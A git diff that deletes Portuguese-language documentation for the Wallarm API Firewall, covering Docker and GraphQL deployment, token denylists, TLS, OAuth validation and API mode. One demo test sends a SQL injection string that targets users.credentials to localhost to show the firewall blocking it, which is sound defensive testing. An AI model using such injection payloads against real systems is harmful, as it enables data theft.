-* Verifique se o API Firewall bloqueia solicitações com o parâmetro de consulta `str` que não corresponde à seguinte definição: - - ```json - ... - { - "in": "query", - "name": "str", - "schema": { - "type": "string", - "pattern": "^.{1,10}-\\d{1,10}$" - } - }, - ... - ``` - - Teste a definição usando as seguintes solicitações (o parâmetro `int` ainda é obrigatório): - - ```bash - # Solicitação com o valor do parâmetro str que não corresponde à expressão regular definida - curl -sD - "http://localhost:8080/get?int=15&str=fasxxx.xxxawe-6354" - - # Resposta esperada - HTTP/1.1 403 Forbidden - Date: Mon, 31 May 2021 07:10:42 GMT - Content-Type: text/plain; charset=utf-8 - Content-Length: 0 - - - # Solicitação com o valor do parâmetro str que não corresponde à expressão regular definida - curl -sD - "http://localhost:8080/get?int=15&str=faswerffa-63sss54" - - # Resposta esperada - HTTP/1.1 403 Forbidden - Date: Mon, 31 May 2021 07:10:42 GMT - Content-Type: text/plain; charset=utf-8 - Content-Length: 0 - - - # Solicitação com o valor do parâmetro str que corresponde à expressão regular definida - curl -sD - http://localhost:8080/get?int=15&str=ri0.2-3ur0-6354 - - # Resposta esperada - HTTP/1.1 200 OK - Server: gunicorn/19.9.0 - Date: Mon, 31 May 2021 07:11:03 GMT - Content-Type: application/json - Content-Length: 331 - Access-Control-Allow-Origin: * - Access-Control-Allow-Credentials: true - ... - - - # Solicitação com o valor do parâmetro str que não corresponde à expressão regular definida - # POTENTIAL EVIL: SQL Injection - curl -sD - 'http://localhost:8080/get?int=15&str=";SELECT%20*%20FROM%20users.credentials;"' - - # Resposta esperada - HTTP/1.1 403 Forbidden - Date: Mon, 31 May 2021 07:12:04 GMT - Content-Type: text/plain; charset=utf-8 - Content-Length: 0 - ``` - -## Passo 4: Parando o código de demonstração - -Para parar a implementação de demonstração e limpar seu ambiente, use o comando: - -```bash -make stop -``` \ No newline at end of file diff --git a/docs/latest-pt-BR/api-firewall/api-firewall/docs/configuration-guides/denylist-leaked-tokens.md b/docs/latest-pt-BR/api-firewall/api-firewall/docs/configuration-guides/denylist-leaked-tokens.md deleted file mode 100644 index 5fff9b12e3..0000000000 --- a/docs/latest-pt-BR/api-firewall/api-firewall/docs/configuration-guides/denylist-leaked-tokens.md +++ /dev/null @@ -1,34 +0,0 @@ -# Bloqueando Solicitações com Tokens Comprometidos - -O Wallarm API Firewall oferece um recurso para prevenir o uso de tokens de autenticação vazados. Este guia descreve como habilitar este recurso usando o contêiner Docker do Firewall API para [REST API](../installation-guides/docker-container.md) ou [GraphQL API](../installation-guides/graphql/docker-container.md). - -Essa capacidade depende dos dados fornecidos por você sobre tokens comprometidos. Para ativá-la, monte um arquivo .txt contendo esses tokens para o contêiner Docker de firewall, e depois defina a variável de ambiente correspondente. Para uma visão mais aprofundada deste recurso, leia nossa [postagem do blog](https://lab.wallarm.com/oss-api-firewall-unveils-new-feature-blacklist-for-compromised-api-tokens-and-cookies/). - -Para REST API, caso algum dos tokens sinalizados apareça em uma solicitação, o Firewall API responderá utilizando o código de status especificado na variável de ambiente [`APIFW_CUSTOM_BLOCK_STATUS_CODE`](../installation-guides/docker-container.md#apifw-custom-block-status-code). Para a API GraphQL, qualquer solicitação contendo um token sinalizado será bloqueada, mesmo que esteja de acordo com o esquema montado. - -Para habilitar o recurso de lista de negações: - -1. Redija um arquivo .txt com os tokens comprometidos. Cada token deve estar em uma nova linha. Aqui está um exemplo: - - ```txt - eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJzb21lIjoicGF5bG9hZDk5OTk5ODIifQ.CUq8iJ_LUzQMfDTvArpz6jUyK0Qyn7jZ9WCqE0xKTCA - eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJzb21lIjoicGF5bG9hZDk5OTk5ODMifQ.BinZ4AcJp_SQz-iFfgKOKPz_jWjEgiVTb9cS8PP4BI0 - eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJzb21lIjoicGF5bG9hZDk5OTk5ODQifQ.j5Iea7KGm7GqjMGBuEZc2akTIoByUaQc5SSX7w_qjY8 - ``` -1. Monte o arquivo da lista de negações no contêiner Docker do firewall. Por exemplo, no seu `docker-compose.yaml`, faça a seguinte modificação: - - ```diff - ... - volumes: - - : - + - : - ... - ``` -1. Insira as seguintes variáveis de ambiente ao iniciar o contêiner Docker: - -| Variável de ambiente | Descrição | -| -------------------- | ----------- | -| `APIFW_DENYLIST_TOKENS_FILE` | Caminho no recipiente para o arquivo de negação montado. Exemplo: `/auth-data/tokens-denylist.txt`. | -| `APIFW_DENYLIST_TOKENS_COOKIE_NAME` | Nome do Cookie que carrega o token de autenticação. | -| `APIFW_DENYLIST_TOKENS_HEADER_NAME` | Nome do Cabeçalho transmitindo o token de autenticação. Se ambos os `APIFW_DENYLIST_TOKENS_COOKIE_NAME` e `APIFW_DENYLIST_TOKENS_HEADER_NAME` forem especificados, o Firewall API verifica ambos em sequência. | -| `APIFW_DENYLIST_TOKENS_TRIM_BEARER_PREFIX` | Indica se o prefixo `Bearer` deve ser removido do cabeçalho de autenticação durante a comparação com a lista de negações. Se os tokens na lista de negações não possuírem este prefixo, mas o cabeçalho de autenticação possuir, os tokens podem não ser correspondidos corretamente. Aceita `true` ou `false` (padrão). | \ No newline at end of file diff --git a/docs/latest-pt-BR/api-firewall/api-firewall/docs/configuration-guides/ssl-tls.md b/docs/latest-pt-BR/api-firewall/api-firewall/docs/configuration-guides/ssl-tls.md deleted file mode 100644 index ee3d891d7f..0000000000 --- a/docs/latest-pt-BR/api-firewall/api-firewall/docs/configuration-guides/ssl-tls.md +++ /dev/null @@ -1,51 +0,0 @@ -# Configuração SSL/TLS - -Este guia explica como configurar variáveis de ambiente para conexões SSL/TLS entre o API Firewall e o aplicativo protegido, bem como para o próprio servidor do API Firewall. Forneça essas variáveis ao iniciar o container Docker do API Firewall para [REST API](../installation-guides/docker-container.md) ou [GraphQL API](../installation-guides/graphql/docker-container.md). - -## Conexão SSL/TLS segura entre o API Firewall e o aplicativo - -Para estabelecer uma conexão segura entre o API Firewall e o servidor do aplicativo protegido que utiliza certificados CA personalizados, utilize as seguintes variáveis de ambiente: - -1. Monte o certificado CA personalizado no container do API Firewall. Por exemplo, em seu `docker-compose.yaml`, faça a seguinte modificação: - - ```diff - ... - volumes: - - : - + - : - ... - ``` -1. Forneça o caminho do arquivo montado usando as seguintes variáveis de ambiente: - -| Variável de ambiente | Descrição | -| -------------------- | ----------- | -| `APIFW_SERVER_ROOT_CA`
            (apenas se o valor de `APIFW_SERVER_INSECURE_CONNECTION` for `false`) | Caminho dentro do container Docker para o certificado CA do servidor do aplicativo protegido. | - -## Conexão insegura entre o API Firewall e o aplicativo - -Para configurar uma conexão insegura (ou seja, ignorando a verificação SSL/TLS) entre o API Firewall e o servidor do aplicativo protegido, use essa variável de ambiente: - -| Variável de ambiente | Descrição | -| -------------------- | ----------- | -| `APIFW_SERVER_INSECURE_CONNECTION` | Determina se a validação do certificado SSL/TLS do servidor do aplicativo protegido deve ser desativada. O endereço do servidor é indicado na variável `APIFW_SERVER_URL`. Por padrão (`false`), o sistema tenta uma conexão segura usando o certificado CA padrão ou o especificado em `APIFW_SERVER_ROOT_CA`. | - -## SSL/TLS para o servidor API Firewall - -Para garantir que o servidor que executa o API Firewall aceite conexões HTTPS, siga as etapas abaixo: - -1. Monte a pasta do certificado e chave privada no container do API Firewall. Por exemplo, em seu `docker-compose.yaml`, faça a seguinte modificação: - - ```diff - ... - volumes: - - : - + - : - ... - ``` -1. Forneça os caminhos dos arquivos montados usando as seguintes variáveis de ambiente: - -| Variável de ambiente | Descrição | -| -------------------- | ----------- | -| `APIFW_TLS_CERTS_PATH` | Caminho no container para a pasta onde o certificado e a chave privada do API Firewall estão montados. | -| `APIFW_TLS_CERT_FILE` | Nome do arquivo do certificado SSL/TLS para o API Firewall, localizado dentro do diretório `APIFW_TLS_CERTS_PATH`. | -| `APIFW_TLS_CERT_KEY` | Nome do arquivo da chave privada SSL/TLS para o API Firewall, encontrado no diretório `APIFW_TLS_CERTS_PATH`. | \ No newline at end of file diff --git a/docs/latest-pt-BR/api-firewall/api-firewall/docs/configuration-guides/system-settings.md b/docs/latest-pt-BR/api-firewall/api-firewall/docs/configuration-guides/system-settings.md deleted file mode 100644 index 627b23932e..0000000000 --- a/docs/latest-pt-BR/api-firewall/api-firewall/docs/configuration-guides/system-settings.md +++ /dev/null @@ -1,14 +0,0 @@ -# Configurações do Sistema - -Para ajustar as configurações do API Firewall do sistema, use as seguintes variáveis de ambiente opcionais: - -| Variável de ambiente | Descrição | -| -------------------- | ----------- | -| `APIFW_READ_TIMEOUT` | O tempo limite para o API Firewall ler a requisição completa (incluindo o corpo) enviada para a URL da aplicação. O valor padrão é `5s`. | -| `APIFW_WRITE_TIMEOUT` | O tempo limite para o API Firewall retornar a resposta à requisição enviada para a URL da aplicação. O valor padrão é `5s`. | -| `APIFW_SERVER_MAX_CONNS_PER_HOST` | O número máximo de conexões que o API Firewall pode manusear simultaneamente. O valor padrão é `512`. | -| `APIFW_SERVER_READ_TIMEOUT` | O tempo limite para o API Firewall ler a resposta completa (incluindo o corpo) retornada à requisição pela aplicação. O valor padrão é `5s`. | -| `APIFW_SERVER_WRITE_TIMEOUT` | Tempo limite para o API Firewall escrever a requisição completa (incluindo o corpo) para a aplicação. O valor padrão é `5s`. | -| `APIFW_SERVER_DIAL_TIMEOUT` | O tempo limite para o API Firewall se conectar à aplicação. O valor padrão é `200ms`. | -| `APIFW_SERVER_CLIENT_POOL_CAPACITY` | Número máximo de clientes fasthttp. O valor padrão é `1000`. | -| `APIFW_HEALTH_HOST` | O host do serviço de verificação de saúde. O valor padrão é `0.0.0.0:9667`. O caminho do serviço de sonda de vida é `/v1/liveness` e o caminho do serviço de prontidão é `/v1/readiness`. | diff --git a/docs/latest-pt-BR/api-firewall/api-firewall/docs/configuration-guides/validate-tokens.md b/docs/latest-pt-BR/api-firewall/api-firewall/docs/configuration-guides/validate-tokens.md deleted file mode 100644 index 4da215dbce..0000000000 --- a/docs/latest-pt-BR/api-firewall/api-firewall/docs/configuration-guides/validate-tokens.md +++ /dev/null @@ -1,23 +0,0 @@ -# Validando Tokens de Autenticação de Requisição - -Ao aproveitar o OAuth 2.0 para autenticação, o Firewall da API pode ser configurado para validar tokens de acesso antes de direcionar as solicitações para o servidor de aplicativo. O Firewall espera o token de acesso no cabeçalho de solicitação `Authorization: Bearer`. - -O Firewall da API considera o token válido se os escopos definidos na [especificação](https://swagger.io/docs/specification/authentication/oauth2/) e nas informações de metadados do token forem os mesmos. Se o valor de `APIFW_REQUEST_VALIDATION` for `BLOCK`, o Firewall da API bloqueia solicitações com tokens inválidos. No modo `LOG_ONLY`, solicitações com tokens inválidos são apenas registradas. - -!!! info "Disponibilidade do recurso" - Este recurso está disponível apenas ao executar o Firewall da API para filtragem de solicitação [REST API](../installation-guides/docker-container.md). - -Para configurar o fluxo de validação do token OAuth 2.0, use as seguintes variáveis ​​de ambiente: - -| Variável de ambiente | Descrição | -| -------------------- | ----------- | -| `APIFW_SERVER_OAUTH_VALIDATION_TYPE` | O tipo de validação do token de autenticação:
            • `JWT` se estiver usando JWT para autenticação de solicitação. Configure mais detalhes por meio das variáveis `APIFW_SERVER_OAUTH_JWT_*`.
            • `INTROSPECTION` se estiver usando outros tipos de token que podem ser validados pelo serviço específico de introspecção de token. Configure mais detalhes por meio das variáveis `APIFW_SERVER_OAUTH_INTROSPECTION_*`.
            | -| `APIFW_SERVER_OAUTH_JWT_SIGNATURE_ALGORITHM` | O algoritmo usado para assinar JWTs: `RS256`, `RS384`, `RS512`, `HS256`, `HS384` ou `HS512`.

            JWTs assinados usando o algoritmo `ECDSA` não podem ser validados pelo Firewall da API. | -| `APIFW_SERVER_OAUTH_JWT_PUB_CERT_FILE` | Se os JWTs forem assinados usando o algoritmo RS256, RS384 ou RS512, o caminho para o arquivo com a chave pública RSA (`*.pem`). Este arquivo deve ser montado no contêiner Docker do Firewall da API. | -| `APIFW_SERVER_OAUTH_JWT_SECRET_KEY` | Se os JWTs forem assinados usando o algoritmo HS256, HS384 ou HS512, o valor da chave secreta usado para assinar os JWTs. | -| `APIFW_SERVER_OAUTH_INTROSPECTION_ENDPOINT` | [Endpoint de introspecção de token](https://www.oauth.com/oauth2-servers/token-introspection-endpoint/). Exemplos de endpoints:
            • `https://www.googleapis.com/oauth2/v1/tokeninfo` se estiver usando o Google OAuth
            • `http://example.com/restv1/introspection` para tokens OAuth 2.0 do Gluu
            | -| `APIFW_SERVER_OAUTH_INTROSPECTION_ENDPOINT_METHOD` | O método das solicitações ao endpoint de introspecção de token. Pode ser `GET` ou `POST`.

            O valor padrão é `GET`. | -| `APIFW_SERVER_OAUTH_INTROSPECTION_TOKEN_PARAM_NAME` | O nome do parâmetro com o valor do token nas solicitações ao endpoint de introspecção. Dependendo do valor do `APIFW_SERVER_OAUTH_INTROSPECTION_ENDPOINT_METHOD`, o Firewall da API considera automaticamente o parâmetro como parâmetro de consulta ou corpo. | -| `APIFW_SERVER_OAUTH_INTROSPECTION_CLIENT_AUTH_BEARER_TOKEN` | O valor do token Bearer para autenticar as solicitações ao endpoint de introspecção. | -| `APIFW_SERVER_OAUTH_INTROSPECTION_CONTENT_TYPE` | O valor do cabeçalho `Content-Type` indicando o tipo de mídia do serviço de introspecção de token. O valor padrão é `application/octet-stream`. | -| `APIFW_SERVER_OAUTH_INTROSPECTION_REFRESH_INTERVAL` | Tempo de vida dos metadados do token armazenados em cache. O Firewall da API armazena em cache os metadados do token e, se receber solicitações com os mesmos tokens, obtém seus metadados do cache.

            O intervalo pode ser definido em horas (`h`), minutos (`m`), segundos (`s`) ou no formato combinado (por exemplo, `1h10m50s`).

            O valor padrão é `10m` (10 minutos). | \ No newline at end of file diff --git a/docs/latest-pt-BR/api-firewall/api-firewall/docs/installation-guides/api-mode.md b/docs/latest-pt-BR/api-firewall/api-firewall/docs/installation-guides/api-mode.md deleted file mode 100644 index e9ae711610..0000000000 --- a/docs/latest-pt-BR/api-firewall/api-firewall/docs/installation-guides/api-mode.md +++ /dev/null @@ -1,31 +0,0 @@ -# Validando Solicitações Individuais Sem Proxy - -Se você precisa validar solicitações de API individuais com base em uma especificação OpenAPI fornecida, sem mais proxy, você pode utilizar o Wallarm API Firewall em um modo não-proxy. Nesse caso, a solução não valida as respostas. - -!!! info "Disponibilidade do recurso" - Este recurso está disponível para as versões 0.6.12 e posteriores do API Firewall, e é personalizado para a REST API. - -Para fazer isso: - -1. Em vez de [montar o arquivo de especificação OpenAPI](../installation-guides/docker-container.md) no contêiner, monte o [banco de dados SQLite](https://www.sqlite.org/index.html) contendo uma ou mais especificações OpenAPI 3.0 em `/var/lib/wallarm-api/1/wallarm_api.db`. O banco de dados deve aderir ao seguinte esquema: - - * `schema_id`, inteiro (auto-incremento) - ID da especificação. - * `schema_version`, string - Versão da especificação. Você pode atribuir qualquer versão preferida. Quando este campo muda, o API Firewall presume que a especificação em si mudou e a atualiza de acordo. - * `schema_format`, string - O formato da especificação, pode ser `json` ou `ya - * `schema_content`, string - O conteúdo da especificação. -1. Execute o contêiner com a variável de ambiente `APIFW_MODE=API` e, se necessário, com outras variáveis projetadas especificamente para este modo: - - | Variável de ambiente | Descrição | - | -------------------- | ----------- | - | `APIFW_MODE` | Define o modo geral do API Firewall. Os valores possíveis são [`PROXY`](docker-container.md) (padrão), [`graphql`](graphql/docker-container.md) e `API`. | - | `APIFW_SPECIFICATION_UPDATE_PERIOD` | Determina a frequência das atualizações da especificação. Se definido como `0`, a atualização da especificação está desativada. O valor padrão é `1m` (1 minuto). | - | `APIFW_API_MODE_UNKNOWN_PARAMETERS_DETECTION` | Especifica se deve retornar um código de erro se os parâmetros da solicitação não corresponderem aos definidos na especificação. O valor padrão é `true`. | - | `APIFW_PASS_OPTIONS` | Quando definido como `true`, o API Firewall permite solicitações `OPTIONS` para endpoints na especificação, mesmo se o método `OPTIONS` não for descrito. O valor padrão é `false`. | - -1. Ao avaliar se as solicitações estão alinhadas com as especificações montadas, inclua o cabeçalho `X-Wallarm-Schema-ID: ` para indicar ao API Firewall qual especificação deve ser usada para validação. - -O API Firewall valida solicitações da seguinte maneira: - -* Se uma solicitação corresponder à especificação, uma resposta vazia com um código de status 200 é retornada. -* Se uma solicitação não corresponder à especificação, a resposta fornecerá um código de status 403 e um documento JSON explicando as razões da incompatibilidade. -* Se for incapaz de lidar ou validar uma solicitação, uma resposta vazia com um código de status 500 é retornada. \ No newline at end of file diff --git a/docs/latest-pt-BR/api-firewall/api-firewall/docs/installation-guides/docker-container.md b/docs/latest-pt-BR/api-firewall/api-firewall/docs/installation-guides/docker-container.md deleted file mode 100644 index ac54da7447..0000000000 --- a/docs/latest-pt-BR/api-firewall/api-firewall/docs/installation-guides/docker-container.md +++ /dev/null @@ -1,158 +0,0 @@ -# Executando o Firewall da API no Docker para REST API - -Este guia percorre o download, instalação e início do [Firewall da API Wallarm](../index.md) no Docker para validação de solicitações de API REST. - -## Requisitos - -* [Instalado e configurado Docker](https://docs.docker.com/get-docker/) -* [Especificação OpenAPI 3.0](https://swagger.io/specification/) desenvolvida para a API REST do aplicativo que deve ser protegido pelo Firewall da API Wallarm - -## Métodos para executar o Firewall da API no Docker - -O método mais rápido para implantar o Firewall da API no Docker é [Docker Compose](https://docs.docker.com/compose/). As etapas abaixo dependem do uso deste método. - -Se necessário, você também pode usar `docker run`. Fornecemos os comandos `docker run` adequados para implantar o mesmo ambiente [nesta seção](#using-docker-run-to-start-api-firewall). - -## Etapa 1. Crie o arquivo `docker-compose.yml` - -Para implantar o Firewall da API e o ambiente adequado usando Docker Compose, crie primeiro o **docker-compose.yml** com o seguinte conteúdo: - -```yml -version: '3.8' - -networks: - api-firewall-network: - name: api-firewall-network - -services: - api-firewall: - container_name: api-firewall - image: wallarm/api-firewall:v0.6.13 - restart: on-failure - volumes: - - : - environment: - APIFW_API_SPECS: - APIFW_URL: - APIFW_SERVER_URL: - APIFW_REQUEST_VALIDATION: - APIFW_RESPONSE_VALIDATION: - ports: - - "8088:8088" - stop_grace_period: 1s - networks: - - api-firewall-network - backend: - container_name: api-firewall-backend - image: kennethreitz/httpbin - restart: on-failure - ports: - - 8090:8090 - stop_grace_period: 1s - networks: - - api-firewall-network -``` - -## Etapa 2. Configure a rede Docker - -Se necessário, altere a configuração da [rede Docker](https://docs.docker.com/network/) definida em **docker-compose.yml** → `networks`. - -O **docker-compose.yml** fornecido instrui o Docker a criar a rede `api-firewall-network` e vincular o aplicativo e os contêineres do Firewall da API a ele. - -É recomendado usar uma rede Docker separada para permitir a comunicação do aplicativo com o Firewall da API, sem vinculação manual. - -## Etapa 3. Configure o aplicativo a ser protegido com o Firewall da API - -Altere a configuração do aplicativo em contêiner a ser protegido com Firewall da API. Esta configuração é definida em **docker-compose.yml** → `services.backend`. - -O **docker-compose.yml** fornecido instrui o Docker a iniciar o [contêiner Docker kennethreitz/httpbin](https://hub.docker.com/r/kennethreitz/httpbin/) conectado à `api-firewall-network` e atribuído com o [alias de rede](https://docs.docker.com/config/containers/container-networking/#ip-address-and-hostname) `backend`. A porta do contêiner é 8090. - -Se estiver configurando o próprio aplicativo, defina apenas as configurações necessárias para o início correto do contêiner do aplicativo. Nenhuma configuração específica para o Firewall da API é necessária. - -## Etapa 4. Configure o Firewall da API - -Passe a configuração do Firewall da API em **docker-compose.yml** → `services.api-firewall` da seguinte maneira: - -**Com `services.api-firewall.volumes`**, monte a [especificação OpenAPI 3.0](https://swagger.io/specification/) no diretório do contêiner do Firewall da API: - -* ``: é o caminho para a especificação OpenAPI 3.0 para a API REST do seu aplicativo localizado na máquina host. Os formatos de arquivo aceitos são YAML e JSON (extensões de arquivo `.yaml`, `.yml`, `.json`). Por exemplo: `/opt/my-api/openapi3/swagger.json`. -* ``: é o caminho para o diretório do contêiner para montar a especificação OpenAPI 3.0. Por exemplo: `/api-firewall/resources/swagger.json`. - -**Com `services.api-firewall.environment`**, defina a configuração geral do Firewall da API por meio das seguintes variáveis de ambiente: - -| Variável de ambiente | Descrição | Necessário? | -|-----------------------------------|-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|-----------| -| `APIFW_API_SPECS` | Caminho para a especificação OpenAPI 3.0. Existem as seguintes maneiras de especificar o caminho:
            • Caminho para o arquivo de especificação montado no contêiner, por exemplo: `/api-firewall/resources/swagger.json`. Ao executar o contêiner, monte este arquivo com a opção `-v :`.
            • Endereço URL do arquivo de especificação, por exemplo: `https://example.com/swagger.json`. Ao executar o contêiner, omita a opção `-v :`.
            | Sim | -| `APIFW_URL` | URL para o Firewall da API. Por exemplo: `http://0.0.0.0:8088/`. O valor da porta deve corresponder à porta do contêiner publicada no host.

            Se o Firewall da API ouvir o protocolo HTTPS, monte o certificado SSL/TLS gerado e a chave privada no contêiner e passe ao contêiner as **configurações SSL/TLS do Firewall da API** descritas abaixo. | Sim | -| `APIFW_SERVER_URL` | URL do aplicativo descrito na especificação OpenAPI montada que deve ser protegida com o Firewall da API. Por exemplo: `http://backend:80`. | Sim | -| `APIFW_REQUEST_VALIDATION` | Modo de Firewall da API ao validar solicitações enviadas para a URL do aplicativo:
            • `BLOCK` para bloquear e registrar as solicitações que não correspondem ao esquema fornecido na especificação OpenAPI 3.0 montada (a resposta `403 Forbidden` será retornada para as solicitações bloqueadas). Os registros são enviados para os [serviços Docker `STDOUT` e `STDERR`](https://docs.docker.com/config/containers/logging/).
            • `LOG_ONLY` para registrar, mas não bloquear as solicitações que não correspondem ao esquema fornecido na especificação OpenAPI 3.0 montada. Os registros são enviados para os [serviços Docker `STDOUT` e `STDERR`](https://docs.docker.com/config/containers/logging/).
            • `DISABLE` para desativar a validação de solicitações.
            | Sim | -| `APIFW_RESPONSE_VALIDATION` | Modo de Firewall da API ao validar as respostas do aplicativo para solicitações recebidas:
            • `BLOCK` para bloquear e registrar a solicitação se a resposta do aplicativo para esta solicitação não corresponder ao esquema fornecido na especificação OpenAPI 3.0 montada. Esta solicitação será encaminhada para o URL do aplicativo, mas o cliente receberá a resposta `403 Forbidden`. Os registros são enviados para os [serviços Docker `STDOUT` e `STDERR`](https://docs.docker.com/config/containers/logging/).
            • `LOG_ONLY` para registrar, mas não bloquear a solicitação se a resposta do aplicativo para esta solicitação não corresponder ao esquema fornecido na especificação OpenAPI 3.0 montada. Os registros são enviados para os [serviços Docker `STDOUT` e `STDERR`](https://docs.docker.com/config/containers/logging/).
            • `DISABLE` para desativar a validação da solicitação.
            | Sim | -| `APIFW_LOG_LEVEL` | Nível de registro do Firewall da API. Possíveis valores:
            • `DEBUG` para registrar eventos de qualquer tipo (INFO, ERROR, WARNING e DEBUG).
            • `INFO` para registrar eventos dos tipos INFO, WARNING e ERROR.
            • `WARNING` para registrar eventos dos tipos WARNING e ERROR.
            • `ERROR` para registrar eventos do tipo ERROR.
            • `TRACE` para registrar solicitações recebidas e respostas do Firewall da API, incluindo seu conteúdo.
            O valor padrão é `DEBUG`. Registros em solicitações e respostas que não correspondem ao esquema fornecido têm o tipo ERROR. | Não | -| `APIFW_CUSTOM_BLOCK_STATUS_CODE` | [Código de status de resposta HTTP](https://en.wikipedia.org/wiki/List_of_HTTP_status_codes) retornado pelo Firewall da API operando no modo `BLOCK` se a solicitação ou resposta não corresponder ao esquema fornecido na especificação OpenAPI 3.0 montada. O valor padrão é `403`. | Não -| `APIFW_ADD_VALIDATION_STATUS_HEADER`
            (EXPERIMENTAL) | Se deve retornar o cabeçalho `Apifw-Validation-Status` contendo o motivo do bloqueio da solicitação na resposta a esta solicitação. O valor pode ser `true` ou `false`. O valor padrão é `false`.| Não -| `APIFW_SERVER_DELETE_ACCEPT_ENCODING` | Se estiver definido como `true`, o cabeçalho `Accept-Encoding` é excluído das solicitações passadas. O valor padrão é `false`. | Não | -| `APIFW_LOG_FORMAT` | O formato dos registros do Firewall da API. O valor pode ser `TEXT` ou `JSON`. O valor padrão é `TEXT`. | Não | -| `APIFW_SHADOW_API_EXCLUDE_LIST`
            (somente se o Firewall da API estiver operando no modo `LOG_ONLY` para ambas as solicitações e respostas) | [Códigos de status de resposta HTTP](https://en.wikipedia.org/wiki/List_of_HTTP_status_codes) indicando que o ponto de extremidade da API solicitada que não está incluído na especificação NÃO é uma sombra. Você pode especificar vários códigos de status separados por ponto e vírgula (por exemplo, `404;401`). O valor padrão é `404`.

            Por padrão, o Firewall da API operando no modo `LOG_ONLY` para ambas as solicitações e respostas marca todos os pontos de extremidade que não estão incluídos na especificação e estão retornando o código diferente de `404` como sombras. | Não -| `APIFW_MODE` | Define o modo geral do Firewall da API. Possíveis valores são `PROXY` (padrão), [`graphql`](graphql/docker-container.md) e [`API`](api-mode.md). | Não | -| `APIFW_PASS_OPTIONS` | Quando definido como `true`, o Firewall da API permite solicitações `OPTIONS` para pontos de extremidade na especificação, mesmo se o método `OPTIONS` não estiver descrito. O valor padrão é `false`. | Não | -| `APIFW_SHADOW_API_UNKNOWN_PARAMETERS_DETECTION` | Especifica se solicitações são identificadas como não correspondendo à especificação se seus parâmetros não estiverem alinhados com aqueles definidos na especificação OpenAPI. O valor padrão é `true`.

            Se estiver executando o Firewall da API no [modo `API`](api-mode.md), esta variável assume um nome diferente `APIFW_API_MODE_UNKNOWN_PARAMETERS_DETECTION`. | Não | - -**Com `services.api-firewall.ports` e `services.api-firewall.networks`**, defina a porta do contêiner do Firewall da API e conecte o contêiner à rede criada. O **docker-compose.yml** fornecido instrui o Docker a iniciar o Firewall da API conectado à [rede](https://docs.docker.com/network/) `api-firewall-network` na porta 8088. - -## Etapa 5. Implante o ambiente configurado - -Para construir e iniciar o ambiente configurado, execute o seguinte comando: - -```bash -docker-compose up -d --force-recreate -``` - -Para verificar a saída do log: - -```bash -docker-compose logs -f -``` - -## Etapa 6. Teste a operação do Firewall da API - -Para testar a operação do Firewall da API, envie a solicitação que não corresponde à especificação Open API 3.0 montada para o endereço do contêiner Docker do Firewall da API. Por exemplo, você pode passar o valor da string no parâmetro que requer o valor inteiro. - -Se a solicitação não corresponder ao esquema da API fornecido, a mensagem de ERRO apropriada será adicionada aos registros do contêiner Docker do Firewall da API. - -## Etapa 7. Ative o tráfego no Firewall da API - -Para finalizar a configuração do Firewall da API, ative o tráfego de entrada no Firewall da API atualizando a configuração do esquema de implantação do seu aplicativo. Por exemplo, isso exigiria a atualização das configurações do Ingress, NGINX ou balanceador de carga. - -## Parando o ambiente implantado - -Para parar o ambiente implantado usando o Docker Compose, execute o seguinte comando: - -```bash -docker-compose down -``` - -## Usando `docker run` para iniciar o Firewall da API - -Para iniciar o Firewall da API no Docker, você também pode usar comandos Docker regulares, como nos exemplos abaixo: - -1. [Para criar uma rede Docker separada](#step-2-configure-the-docker-network) para permitir a comunicação do aplicativo com o Firewall da API, sem vinculação manual: - - ```bash - docker network create api-firewall-network - ``` -2. [Para iniciar o aplicativo em contêiner](#step-3-configure-the-application-to-be-protected-with-api-firewall) a ser protegido com Firewall da API: - - ```bash - docker run --rm -it --network api-firewall-network \ - --network-alias backend -p 8090:8090 kennethreitz/httpbin - ``` -3. [Para iniciar o Firewall da API](#step-4-configure-api-firewall): - - ```bash - docker run --rm -it --network api-firewall-network --network-alias api-firewall \ - -v : -e APIFW_API_SPECS= \ - -e APIFW_URL= -e APIFW_SERVER_URL= \ - -e APIFW_REQUEST_VALIDATION= -e APIFW_RESPONSE_VALIDATION= \ - -p 8088:8088 wallarm/api-firewall:v0.6.13 - ``` -4. Quando o ambiente estiver iniciado, teste-o e ative o tráfego no Firewall da API seguindo as etapas 6 e 7. diff --git a/docs/latest-pt-BR/api-firewall/api-firewall/docs/installation-guides/graphql/docker-container.md b/docs/latest-pt-BR/api-firewall/api-firewall/docs/installation-guides/graphql/docker-container.md deleted file mode 100644 index c62d6564c7..0000000000 --- a/docs/latest-pt-BR/api-firewall/api-firewall/docs/installation-guides/graphql/docker-container.md +++ /dev/null @@ -1,187 +0,0 @@ -# Executando o Firewall de API no Docker para API GraphQL - -Este guia descreve como baixar, instalar e iniciar o [Firewall de API Wallarm](../../index.md) no Docker para validação de solicitação de API GraphQL. No modo GraphQL, o Firewall de API atua como um proxy, encaminhando solicitações GraphQL dos usuários para o servidor backend usando os protocolos HTTP ou WebSocket (`graphql-ws`). Antes da execução do backend, o firewall verifica a complexidade da consulta, a profundidade e a contagem de nós da consulta GraphQL. - -O Firewall de API não valida as respostas da consulta GraphQL. - -## Requisitos - -* [Docker instalado e configurado](https://docs.docker.com/get-docker/) -* [Especificação GraphQL](http://spec.graphql.org/October2021/) desenvolvida para a API GraphQL do aplicativo que deve ser protegido com o Firewall de API Wallarm - -## Métodos para executar o Firewall de API no Docker - -O método mais rápido para implantar o Firewall de API no Docker é o [Docker Compose](https://docs.docker.com/compose/). Os passos a seguir dependem do uso deste método. - -Se necessário, você também pode usar `docker run`. Fornecemos os comandos `docker run` apropriados para implantar o mesmo ambiente [nesta seção](#using-docker-run-to-start-api-firewall). - -## Passo 1. Crie o arquivo `docker-compose.yml` - -Para implantar o Firewall de API e o ambiente adequado usando Docker Compose, primeiro crie o **docker-compose.yml** com o seguinte conteúdo. Nos passos seguintes, você alterará este modelo. - -```yml -version: '3.8' - -networks: - api-firewall-network: - name: api-firewall-network - -services: - api-firewall: - container_name: api-firewall - image: wallarm/api-firewall:v0.6.13 - restart: on-failure - volumes: - - : - environment: - APIFW_MODE: graphql - APIFW_GRAPHQL_SCHEMA: - APIFW_URL: - APIFW_SERVER_URL: - APIFW_GRAPHQL_REQUEST_VALIDATION: - 